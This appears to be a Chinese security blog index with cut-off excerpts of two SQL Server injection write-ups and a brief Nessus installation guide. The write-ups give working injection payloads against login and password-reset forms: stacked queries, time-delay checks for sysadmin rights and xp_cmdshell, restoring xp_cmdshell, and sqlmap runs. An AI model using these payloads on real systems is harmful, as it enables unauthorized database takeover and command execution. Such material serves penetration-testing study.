从 SQL Server 注入到 远程连接桌面

0x00 目标情况 只有一个登录框 0x01 发现注入 简单看了下登陆框,可以爆破用户名 加单引号后报错,试了试 and 1=1 确实存在注入 0x01 进一步测试 尝试得到数据版本: admin' and @@version=1-- 抓包 sqlmap 跑了下发现不行: sqlmap -r 1.txt --risk 3 --level 3 --dbms "Microsoft SQL Server" --second-order "http://123.xxx.xxx.180:2001/error.aspx" 返回: all tested parameters appear to be not injectable,跑不出来,只能手工了 看下能不能多语句执行: admin';select convert(int,(select user));-- 结果发现可以执行成功,能进行多语句执行 0x02 尝试多语句执行添加用户 查看是否有 xp_cmdshell Payload:admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5';-- 开启 xp_cmdshell


从 SQL Server 注入到 getshell

0x00 目标情况 一个web站点111.*.*.63,只有一个登陆框,测试了没有注入,没有弱口令 扫描了全端口,没有发现什么有用的信息 0x01 发现注入 当时是查看网页源代码,有两个可疑接口,一个是初始化密码借口,访问返回空白页面,没有什么用 另一个是密码设置接口,不过这个接口是同网段的另一个ip 111.*.*.59,访问后发现是个重置密码的界面 但是进行密码重置的时候需要发送验证码,系统会先校验用户名是否存在,加单引号出错,and 1=2没反应 burpsuite抓包后sqlmap跑了下,python sqlmap.py -r 1.txt,存在注入 通过sqlmap得到了这几个数据库 [*] HSOA_20170320 [*] HSOA_NEW [*] HSOA_T [*] master [*] model [*] msdb [*] Shuttle [*] SHWT [*] tempdb 0x02 找网站绝对路径 判断是不是dba权限(延时后返回正确页面,确定为dba权限<也可用sqlmap的–is-dba判断>) uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';-- 判断是否是站库分离(延时后返回正确页面,确定站库没有分离) uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';-- 查看是否有xp_cmdshell uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'-- 恢复/删除xp_cmdshell exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.


Nessus 的安装和卸载

0x00 下载 Nessus 的 deb 安装包 去【这里】,选择家庭版,然后下载对应的安装包 0x01 本地安装 Nessus 0x02 执行后续安装步骤: 启动nessus web访问nessus服务 设置账户和密码 申请code,可以在【这里】申请 去邮箱查找code 将code填入,然后等待插件的下载 0x03 登陆 Nessus 0x03 卸载 Nessus https://docs.tenable.com/nessus/Content/RemoveNessus.htm



可以返回顶部